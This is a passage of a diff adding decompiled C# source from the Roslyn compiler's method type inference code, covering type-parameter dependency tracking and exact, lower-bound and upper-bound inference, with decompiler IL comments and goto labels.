+ { + throw ExceptionUtilities.UnexpectedValue((object)delegateOrFunctionPointerType); + } + methodSymbol = functionPointerTypeSymbol.Signature; + } + else + { + methodSymbol = namedTypeSymbol.DelegateInvokeMethod; + } + MethodSymbol methodSymbol2 = methodSymbol; + if ((object)methodSymbol2 == null || methodSymbol2.HasUseSiteError) + { + return false; + } + return methodSymbol2.ReturnType?.ContainsTypeParameter(typeParameter) ?? false; + } + + private bool HasUnfixedParamInOutputType(BoundExpression argument, TypeSymbol formalParameterType) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if (IsUnfixed(i) && DoesOutputTypeContain(argument, formalParameterType, _methodTypeParameters[i])) + { + return true; + } + } + return false; + } + + private bool DependsDirectlyOn(int iParam, int jParam) + { + int i = 0; + for (int numberArgumentsToProcess = NumberArgumentsToProcess; i < numberArgumentsToProcess; i++) + { + TypeSymbol type = _formalParameterTypes[i].Type; + BoundExpression argument = _arguments[i]; + if (DoesInputTypeContain(argument, type, _methodTypeParameters[jParam]) && DoesOutputTypeContain(argument, type, _methodTypeParameters[iParam])) + { + return true; + } + } + return false; + } + + private void InitializeDependencies() + { + _dependencies = new Dependency[_methodTypeParameters.Length, _methodTypeParameters.Length]; + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + for (int j = 0; j < _methodTypeParameters.Length; j++) + { + if (DependsDirectlyOn(i, j)) + { + _dependencies[i, j] = Dependency.Direct; + } + } + } + DeduceAllDependencies(); + } + + private bool DependsOn(int iParam, int jParam) + { + if (_dependenciesDirty) + { + SetIndirectsToUnknown(); + DeduceAllDependencies(); + } + return (_dependencies[iParam, jParam] & Dependency.DependsMask) != 0; + } + + private bool DependsTransitivelyOn(int iParam, int jParam) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if ((_dependencies[iParam, i] & Dependency.DependsMask) != Dependency.Unknown && (_dependencies[i, jParam] & Dependency.DependsMask) != Dependency.Unknown) + { + return true; + } + } + return false; + } + + private void DeduceAllDependencies() + { + while (DeduceDependencies()) + { + } + SetUnknownsToNotDependent(); + _dependenciesDirty = false; + } + + private bool DeduceDependencies() + { + bool result = false; + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + for (int j = 0; j < _methodTypeParameters.Length; j++) + { + if (_dependencies[i, j] == Dependency.Unknown && DependsTransitivelyOn(i, j)) + { + _dependencies[i, j] = Dependency.Indirect; + result = true; + } + } + } + return result; + } + + private void SetUnknownsToNotDependent() + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + for (int j = 0; j < _methodTypeParameters.Length; j++) + { + if (_dependencies[i, j] == Dependency.Unknown) + { + _dependencies[i, j] = Dependency.NotDependent; + } + } + } + } + + private void SetIndirectsToUnknown() + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + for (int j = 0; j < _methodTypeParameters.Length; j++) + { + if (_dependencies[i, j] == Dependency.Indirect) + { + _dependencies[i, j] = Dependency.Unknown; + } + } + } + } + + private void UpdateDependenciesAfterFix(int iParam) + { + if (_dependencies != null) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + _dependencies[iParam, i] = Dependency.NotDependent; + _dependencies[i, iParam] = Dependency.NotDependent; + } + _dependenciesDirty = true; + } + } + + private bool DependsOnAny(int iParam) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if (DependsOn(iParam, i)) + { + return true; + } + } + return false; + } + + private bool AnyDependsOn(int iParam) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if (DependsOn(i, iParam)) + { + return true; + } + } + return false; + } + + private void OutputTypeInference(Binder binder, BoundExpression expression, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!InferredReturnTypeInference(expression, target, ref useSiteInfo) && !MethodGroupReturnTypeInference(binder, expression, target.Type, ref useSiteInfo)) + { + TypeWithAnnotations typeWithAnnotations = _extensions.GetTypeWithAnnotations(expression); + if (typeWithAnnotations.HasType) + { + LowerBoundInference(typeWithAnnotations, target, ref useSiteInfo); + } + } + } + + private bool InferredReturnTypeInference(BoundExpression source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + NamedTypeSymbol delegateType = target.Type.GetDelegateType(); + if ((object)delegateType == null) + { + return false; + } + TypeWithAnnotations returnTypeWithAnnotations = delegateType.DelegateInvokeMethod.ReturnTypeWithAnnotations; + if (!returnTypeWithAnnotations.HasType || (int)returnTypeWithAnnotations.SpecialType == 6) + { + return false; + } + TypeWithAnnotations source2 = InferReturnType(source, delegateType, ref useSiteInfo); + if (!source2.HasType) + { + return false; + } + LowerBoundInference(source2, returnTypeWithAnnotations, ref useSiteInfo); + return true; + } + + private bool MethodGroupReturnTypeInference(Binder binder, BoundExpression source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Invalid comparison between Unknown and I4 + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + BoundKind kind = source.Kind; + if ((kind != BoundKind.UnconvertedAddressOfOperator && kind != BoundKind.MethodGroup) || 1 == 0) + { + return false; + } + TypeSymbol delegateOrFunctionPointerType = target.GetDelegateOrFunctionPointerType(); + if ((object)delegateOrFunctionPointerType == null) + { + return false; + } + if (delegateOrFunctionPointerType.IsFunctionPointer() != (source.Kind == BoundKind.UnconvertedAddressOfOperator)) + { + return false; + } + (MethodSymbol, bool) tuple; + if (!(delegateOrFunctionPointerType is NamedTypeSymbol namedTypeSymbol)) + { + if (!(delegateOrFunctionPointerType is FunctionPointerTypeSymbol functionPointerTypeSymbol)) + { + throw ExceptionUtilities.UnexpectedValue((object)delegateOrFunctionPointerType); + } + tuple = (functionPointerTypeSymbol.Signature, true); + } + else + { + tuple = (namedTypeSymbol.DelegateInvokeMethod, false); + } + (MethodSymbol, bool) tuple2 = tuple; + MethodSymbol item = tuple2.Item1; + bool item2 = tuple2.Item2; + TypeWithAnnotations returnTypeWithAnnotations = item.ReturnTypeWithAnnotations; + if (!returnTypeWithAnnotations.HasType || (int)returnTypeWithAnnotations.SpecialType == 6) + { + return false; + } + ImmutableArray delegateParameters = GetFixedDelegateOrFunctionPointer(delegateOrFunctionPointerType).DelegateOrFunctionPointerParameters(); + if (delegateParameters.IsDefault) + { + return false; + } + CallingConventionInfo callingConventionInfo = (item2 ? new CallingConventionInfo(item.CallingConvention, ((FunctionPointerMethodSymbol)item).GetCallingConventionModifiers()) : default(CallingConventionInfo)); + BoundMethodGroup source2 = (source as BoundMethodGroup) ?? ((BoundUnconvertedAddressOfOperator)source).Operand; + TypeWithAnnotations source3 = MethodGroupReturnType(binder, source2, delegateParameters, item.RefKind, item2, ref useSiteInfo, in callingConventionInfo); + if (source3.IsDefault || source3.IsVoidType()) + { + return false; + } + LowerBoundInference(source3, returnTypeWithAnnotations, ref useSiteInfo); + return true; + } + + private TypeWithAnnotations MethodGroupReturnType(Binder binder, BoundMethodGroup source, ImmutableArray delegateParameters, RefKind delegateRefKind, bool isFunctionPointerResolution, ref CompoundUseSiteInfo useSiteInfo, in CallingConventionInfo callingConventionInfo) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + Conversions.GetDelegateOrFunctionPointerArguments(source.Syntax, instance, delegateParameters, binder.Compilation); + MethodGroupResolution methodGroupResolution = binder.ResolveMethodGroup(source, instance, isMethodGroupConversion: true, ref useSiteInfo, inferWithDynamic: false, delegateRefKind, null, isFunctionPointerResolution, in callingConventionInfo); + TypeWithAnnotations result = default(TypeWithAnnotations); + if (!methodGroupResolution.IsEmpty) + { + OverloadResolutionResult overloadResolutionResult = methodGroupResolution.OverloadResolutionResult; + if (overloadResolutionResult.Succeeded) + { + result = _extensions.GetMethodGroupResultType(source, overloadResolutionResult.BestResult.Member); + } + } + instance.Free(); + methodGroupResolution.Free(); + return result; + } + + private void ExplicitParameterTypeInference(BoundExpression source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (source.Kind != BoundKind.UnboundLambda) + { + return; + } + UnboundLambda unboundLambda = (UnboundLambda)source; + if (!unboundLambda.HasExplicitlyTypedParameterList) + { + return; + } + NamedTypeSymbol delegateType = target.Type.GetDelegateType(); + if ((object)delegateType == null) + { + return; + } + ImmutableArray immutableArray = delegateType.DelegateParameters(); + if (!immutableArray.IsDefault) + { + int num = immutableArray.Length; + if (unboundLambda.ParameterCount < num) + { + num = unboundLambda.ParameterCount; + } + for (int i = 0; i < num; i++) + { + ExactInference(unboundLambda.ParameterTypeWithAnnotations(i), immutableArray[i].TypeWithAnnotations, ref useSiteInfo); + } + } + } + + private void ExplicitReturnTypeInference(BoundExpression source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (source.Kind == BoundKind.UnboundLambda && ((UnboundLambda)source).HasExplicitReturnType(out var _, out var returnType)) + { + MethodSymbol methodSymbol = target.Type.GetDelegateType()?.DelegateInvokeMethod(); + if ((object)methodSymbol != null) + { + ExactInference(returnType, methodSymbol.ReturnTypeWithAnnotations, ref useSiteInfo); + } + } + } + + private void ExactInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!ExactNullableInference(source, target, ref useSiteInfo) && !ExactTypeParameterInference(source, target) && !ExactArrayInference(source, target, ref useSiteInfo) && !ExactConstructedInference(source, target, ref useSiteInfo)) + { + ExactPointerInference(source, target, ref useSiteInfo); + } + } + + private bool ExactTypeParameterInference(TypeWithAnnotations source, TypeWithAnnotations target) + { + if (IsUnfixedTypeParameter(target)) + { + AddBound(source, _exactBounds, target); + return true; + } + return false; + } + + private bool ExactArrayInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!source.Type.IsArray() || !target.Type.IsArray()) + { + return false; + } + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)source.Type; + ArrayTypeSymbol arrayTypeSymbol2 = (ArrayTypeSymbol)target.Type; + if (!arrayTypeSymbol.HasSameShapeAs(arrayTypeSymbol2)) + { + return false; + } + ExactInference(arrayTypeSymbol.ElementTypeWithAnnotations, arrayTypeSymbol2.ElementTypeWithAnnotations, ref useSiteInfo); + return true; + } + + private void ExactOrBoundsInference(ExactOrBoundsKind kind, TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + switch (kind) + { + case ExactOrBoundsKind.Exact: + ExactInference(source, target, ref useSiteInfo); + break; + case ExactOrBoundsKind.LowerBound: + LowerBoundInference(source, target, ref useSiteInfo); + break; + case ExactOrBoundsKind.UpperBound: + UpperBoundInference(source, target, ref useSiteInfo); + break; + } + } + + private bool ExactOrBoundsNullableInference(ExactOrBoundsKind kind, TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (source.IsNullableType() && target.IsNullableType()) + { + ExactOrBoundsInference(kind, ((NamedTypeSymbol)source.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0], ((NamedTypeSymbol)target.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0], ref useSiteInfo); + return true; + } + if (isNullableOnly(source) && isNullableOnly(target)) + { + ExactOrBoundsInference(kind, source.AsNotNullableReferenceType(), target.AsNotNullableReferenceType(), ref useSiteInfo); + return true; + } + return false; + static bool isNullableOnly(TypeWithAnnotations type) + { + return type.NullableAnnotation.IsAnnotated(); + } + } + + private bool ExactNullableInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + return ExactOrBoundsNullableInference(ExactOrBoundsKind.Exact, source, target, ref useSiteInfo); + } + + private bool LowerBoundTupleInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!source.Type.TryGetElementTypesWithAnnotationsIfTupleType(out var elementTypes) || !target.Type.TryGetElementTypesWithAnnotationsIfTupleType(out var elementTypes2) || elementTypes.Length != elementTypes2.Length) + { + return false; + } + for (int i = 0; i < elementTypes.Length; i++) + { + LowerBoundInference(elementTypes[i], elementTypes2[i], ref useSiteInfo); + } + return true; + } + + private bool ExactConstructedInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!(source.Type is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + if (!(target.Type is NamedTypeSymbol namedTypeSymbol2)) + { + return false; + } + if (!TypeSymbol.Equals(namedTypeSymbol.OriginalDefinition, namedTypeSymbol2.OriginalDefinition, (TypeCompareKind)0)) + { + return false; + } + ExactTypeArgumentInference(namedTypeSymbol, namedTypeSymbol2, ref useSiteInfo); + return true; + } + + private bool ExactPointerInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + if ((int)source.TypeKind == 9 && (int)target.TypeKind == 9) + { + ExactInference(((PointerTypeSymbol)source.Type).PointedAtTypeWithAnnotations, ((PointerTypeSymbol)target.Type).PointedAtTypeWithAnnotations, ref useSiteInfo); + return true; + } + if (source.Type is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null) + { + int parameterCount = signature.ParameterCount; + if (target.Type is FunctionPointerTypeSymbol functionPointerTypeSymbol2) + { + FunctionPointerMethodSymbol signature2 = functionPointerTypeSymbol2.Signature; + if ((object)signature2 != null) + { + int parameterCount2 = signature2.ParameterCount; + if (parameterCount == parameterCount2) + { + if (!FunctionPointerRefKindsEqual(signature, signature2) || !FunctionPointerCallingConventionsEqual(signature, signature2)) + { + return false; + } + for (int i = 0; i < parameterCount; i++) + { + ExactInference(signature.ParameterTypesWithAnnotations[i], signature2.ParameterTypesWithAnnotations[i], ref useSiteInfo); + } + ExactInference(signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations, ref useSiteInfo); + return true; + } + } + } + } + } + return false; + } + + private static bool FunctionPointerCallingConventionsEqual(FunctionPointerMethodSymbol sourceSignature, FunctionPointerMethodSymbol targetSignature) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (sourceSignature.CallingConvention != targetSignature.CallingConvention) + { + return false; + } + ImmutableHashSet callingConventionModifiers = sourceSignature.GetCallingConventionModifiers(); + ImmutableHashSet callingConventionModifiers2 = targetSignature.GetCallingConventionModifiers(); + if (callingConventionModifiers == null) + { + if (callingConventionModifiers2 == null) + { + return true; + } + } + else if (callingConventionModifiers2 != null && ImmutableHashSetExtensions.SetEqualsWithoutIntermediateHashSet(callingConventionModifiers, callingConventionModifiers2)) + { + return true; + } + return false; + } + + private static bool FunctionPointerRefKindsEqual(FunctionPointerMethodSymbol sourceSignature, FunctionPointerMethodSymbol targetSignature) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + bool flag = sourceSignature.RefKind == targetSignature.RefKind; + bool flag2; + if (flag) + { + bool isDefault = sourceSignature.ParameterRefKinds.IsDefault; + bool isDefault2 = targetSignature.ParameterRefKinds.IsDefault; + if (isDefault) + { + if (!isDefault2) + { + goto IL_0039; + } + flag2 = true; + } + else + { + if (isDefault2) + { + goto IL_0039; + } + flag2 = sourceSignature.ParameterRefKinds.SequenceEqual(targetSignature.ParameterRefKinds); + } + goto IL_0054; + } + goto IL_0056; + IL_0039: + flag2 = false; + goto IL_0054; + IL_0054: + flag = flag2; + goto IL_0056; + IL_0056: + return flag; + } + + private void ExactTypeArgumentInference(NamedTypeSymbol source, NamedTypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + source.GetAllTypeArguments(instance, ref useSiteInfo); + target.GetAllTypeArguments(instance2, ref useSiteInfo); + for (int i = 0; i < instance.Count; i++) + { + ExactInference(instance[i], instance2[i], ref useSiteInfo); + } + instance.Free(); + instance2.Free(); + } + + private void LowerBoundInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!LowerBoundNullableInference(source, target, ref useSiteInfo) && !LowerBoundTypeParameterInference(source, target) && !LowerBoundArrayInference(source.Type, target.Type, ref useSiteInfo) && !LowerBoundTupleInference(source, target, ref useSiteInfo) && !LowerBoundConstructedInference(source.Type, target.Type, ref useSiteInfo)) + { + LowerBoundFunctionPointerTypeInference(source.Type, target.Type, ref useSiteInfo); + } + } + + private bool LowerBoundTypeParameterInference(TypeWithAnnotations source, TypeWithAnnotations target) + { + if (IsUnfixedTypeParameter(target)) + { + AddBound(source, _lowerBounds, target); + return true; + } + return false; + } + + private static TypeWithAnnotations GetMatchingElementType(ArrayTypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + if (target.IsArray()) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)target; + if (!arrayTypeSymbol.HasSameShapeAs(source)) + { + return default(TypeWithAnnotations); + } + return arrayTypeSymbol.ElementTypeWithAnnotations; + } + if (!source.IsSZArray) + { + return default(TypeWithAnnotations); + } + if (!target.IsPossibleArrayGenericInterface()) + { + return default(TypeWithAnnotations); + } + return ((NamedTypeSymbol)target).TypeArgumentWithDefinitionUseSiteDiagnostics(0, ref useSiteInfo); + } + + private bool LowerBoundArrayInference(TypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!source.IsArray()) + { + return false; + } + ArrayTypeSymbol obj = (ArrayTypeSymbol)source; + TypeWithAnnotations elementTypeWithAnnotations = obj.ElementTypeWithAnnotations; + TypeWithAnnotations matchingElementType = GetMatchingElementType(obj, target, ref useSiteInfo); + if (!matchingElementType.HasType) + { + return false; + } + if (elementTypeWithAnnotations.Type.IsReferenceType) + { + LowerBoundInference(elementTypeWithAnnotations, matchingElementType, ref useSiteInfo); + } + else + { + ExactInference(elementTypeWithAnnotations, matchingElementType, ref useSiteInfo); + } + return true; + } + + private bool LowerBoundNullableInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + return ExactOrBoundsNullableInference(ExactOrBoundsKind.LowerBound, source, target, ref useSiteInfo); + } + + private bool LowerBoundConstructedInference(TypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!(target is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + if (namedTypeSymbol.AllTypeArgumentCount() == 0) + { + return false; + } + if (source is NamedTypeSymbol namedTypeSymbol2 && TypeSymbol.Equals(namedTypeSymbol2.OriginalDefinition, namedTypeSymbol.OriginalDefinition, (TypeCompareKind)0)) + { + if (namedTypeSymbol2.IsInterface || namedTypeSymbol2.IsDelegateType()) + { + LowerBoundTypeArgumentInference(namedTypeSymbol2, namedTypeSymbol, ref useSiteInfo); + } + else + { + ExactTypeArgumentInference(namedTypeSymbol2, namedTypeSymbol, ref useSiteInfo); + } + return true; + } + if (LowerBoundClassInference(source, namedTypeSymbol, ref useSiteInfo)) + { + return true; + } + if (LowerBoundInterfaceInference(source, namedTypeSymbol, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool LowerBoundClassInference(TypeSymbol source, NamedTypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + if ((int)target.TypeKind != 2) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = null; + if ((int)source.TypeKind == 2) + { + namedTypeSymbol = source.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + else if ((int)source.TypeKind == 11) + { + namedTypeSymbol = ((TypeParameterSymbol)source).EffectiveBaseClass(ref useSiteInfo); + } + while ((object)namedTypeSymbol != null) + { + if (TypeSymbol.Equals(namedTypeSymbol.OriginalDefinition, target.OriginalDefinition, (TypeCompareKind)0)) + { + ExactTypeArgumentInference(namedTypeSymbol, target, ref useSiteInfo); + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + return false; + } + + private bool LowerBoundInterfaceInference(TypeSymbol source, NamedTypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected I4, but got Unknown + if (!target.IsInterface) + { + return false; + } + TypeKind typeKind = source.TypeKind; + if ((int)typeKind != 2) + { + switch (typeKind - 7) + { + case 0: + case 3: + break; + case 4: + goto IL_003d; + default: + return false; + } + } + ImmutableArray interfaces = source.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + goto IL_0062; + IL_003d: + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)source; + interfaces = ImmutableArrayExtensions.Concat(typeParameterSymbol.EffectiveBaseClass(ref useSiteInfo).AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo), typeParameterSymbol.AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo)); + goto IL_0062; + IL_0062: + interfaces = ModuloReferenceTypeNullabilityDifferences(interfaces, (VarianceKind)2); + NamedTypeSymbol interfaceInferenceBound = GetInterfaceInferenceBound(interfaces, target); + if ((object)interfaceInferenceBound == null) + { + return false; + } + LowerBoundTypeArgumentInference(interfaceInferenceBound, target, ref useSiteInfo); + return true; + } + + internal static ImmutableArray ModuloReferenceTypeNullabilityDifferences(ImmutableArray interfaces, VarianceKind variance) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + PooledDictionary instance = PooledDictionaryIgnoringNullableModifiersForReferenceTypes.GetInstance(); + ImmutableArray.Enumerator enumerator = interfaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (((Dictionary)(object)instance).TryGetValue(current, out NamedTypeSymbol value)) + { + NamedTypeSymbol value2 = (NamedTypeSymbol)value.MergeEquivalentTypes(current, variance); + ((Dictionary)(object)instance)[current] = value2; + } + else + { + ((Dictionary)(object)instance).Add(current, current); + } + } + ImmutableArray result = ((((Dictionary)(object)instance).Count != interfaces.Length) ? ((Dictionary)(object)instance).Values.ToImmutableArray() : interfaces); + instance.Free(); + return result; + } + + private void LowerBoundTypeArgumentInference(NamedTypeSymbol source, NamedTypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + source.OriginalDefinition.GetAllTypeParameters(instance); + source.GetAllTypeArguments(instance2, ref useSiteInfo); + target.GetAllTypeArguments(instance3, ref useSiteInfo); + for (int i = 0; i < instance2.Count; i++) + { + TypeParameterSymbol typeParameterSymbol = instance[i]; + TypeWithAnnotations source2 = instance2[i]; + TypeWithAnnotations target2 = instance3[i]; + if (source2.Type.IsReferenceType && (int)typeParameterSymbol.Variance == 1) + { + LowerBoundInference(source2, target2, ref useSiteInfo); + } + else if (source2.Type.IsReferenceType && (int)typeParameterSymbol.Variance == 2) + { + UpperBoundInference(source2, target2, ref useSiteInfo); + } + else + { + ExactInference(source2, target2, ref useSiteInfo); + } + } + instance.Free(); + instance2.Free(); + instance3.Free(); + } + + private bool LowerBoundFunctionPointerTypeInference(TypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + if (source is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null && target is FunctionPointerTypeSymbol functionPointerTypeSymbol2) + { + FunctionPointerMethodSymbol signature2 = functionPointerTypeSymbol2.Signature; + if ((object)signature2 != null) + { + if (signature.ParameterCount != signature2.ParameterCount) + { + return false; + } + if (!FunctionPointerRefKindsEqual(signature, signature2) || !FunctionPointerCallingConventionsEqual(signature, signature2)) + { + return false; + } + for (int i = 0; i < signature.ParameterCount; i++) + { + ParameterSymbol parameterSymbol = signature.Parameters[i]; + ParameterSymbol parameterSymbol2 = signature2.Parameters[i]; + if ((parameterSymbol.Type.IsReferenceType || parameterSymbol.Type.IsFunctionPointer()) && (int)parameterSymbol.RefKind == 0) + { + UpperBoundInference(parameterSymbol.TypeWithAnnotations, parameterSymbol2.TypeWithAnnotations, ref useSiteInfo); + } + else + { + ExactInference(parameterSymbol.TypeWithAnnotations, parameterSymbol2.TypeWithAnnotations, ref useSiteInfo); + } + } + if ((signature.ReturnType.IsReferenceType || signature.ReturnType.IsFunctionPointer()) && (int)signature.RefKind == 0) + { + LowerBoundInference(signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations, ref useSiteInfo); + } + else + { + ExactInference(signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations, ref useSiteInfo); + } + return true; + } + } + } + return false; + } + + private void UpperBoundInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!UpperBoundNullableInference(source, target, ref useSiteInfo) && !UpperBoundTypeParameterInference(source, target) && !UpperBoundArrayInference(source, target, ref useSiteInfo) && !UpperBoundConstructedInference(source, target, ref useSiteInfo)) + { + UpperBoundFunctionPointerTypeInference(source.Type, target.Type, ref useSiteInfo); + } + } + + private bool UpperBoundTypeParameterInference(TypeWithAnnotations source, TypeWithAnnotations target) + { + if (IsUnfixedTypeParameter(target)) + { + AddBound(source, _upperBounds, target); + return true; + } + return false; + } + + private bool UpperBoundArrayInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if (!target.Type.IsArray()) + { + return false; + } + ArrayTypeSymbol obj = (ArrayTypeSymbol)target.Type; + TypeWithAnnotations elementTypeWithAnnotations = obj.ElementTypeWithAnnotations; + TypeWithAnnotations matchingElementType = GetMatchingElementType(obj, source.Type, ref useSiteInfo); + if (!matchingElementType.HasType) + { + return false; + } + if (matchingElementType.Type.IsReferenceType) + { + UpperBoundInference(matchingElementType, elementTypeWithAnnotations, ref useSiteInfo); + } + else + { + ExactInference(matchingElementType, elementTypeWithAnnotations, ref useSiteInfo); + } + return true; + } + + private bool UpperBoundNullableInference(TypeWithAnnotations source, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + return ExactOrBoundsNullableInference(ExactOrBoundsKind.UpperBound, source, target, ref useSiteInfo); + } + + private bool UpperBoundConstructedInference(TypeWithAnnotations sourceWithAnnotations, TypeWithAnnotations targetWithAnnotations, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol type = sourceWithAnnotations.Type; + TypeSymbol type2 = targetWithAnnotations.Type; + if (!(type is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + if (namedTypeSymbol.AllTypeArgumentCount() == 0) + { + return false; + } + if (type2 is NamedTypeSymbol namedTypeSymbol2 && TypeSymbol.Equals(namedTypeSymbol.OriginalDefinition, type2.OriginalDefinition, (TypeCompareKind)0)) + { + if (namedTypeSymbol2.IsInterface || namedTypeSymbol2.IsDelegateType()) + { + UpperBoundTypeArgumentInference(namedTypeSymbol, namedTypeSymbol2, ref useSiteInfo); + } + else + { + ExactTypeArgumentInference(namedTypeSymbol, namedTypeSymbol2, ref useSiteInfo); + } + return true; + } + if (UpperBoundClassInference(namedTypeSymbol, type2, ref useSiteInfo)) + { + return true; + } + if (UpperBoundInterfaceInference(namedTypeSymbol, type2, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool UpperBoundClassInference(NamedTypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if ((int)source.TypeKind != 2 || (int)target.TypeKind != 2) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = target.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + while ((object)namedTypeSymbol != null) + { + if (TypeSymbol.Equals(namedTypeSymbol.OriginalDefinition, source.OriginalDefinition, (TypeCompareKind)0)) + { + ExactTypeArgumentInference(source, namedTypeSymbol, ref useSiteInfo); + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + return false; + } + + private bool UpperBoundInterfaceInference(NamedTypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo 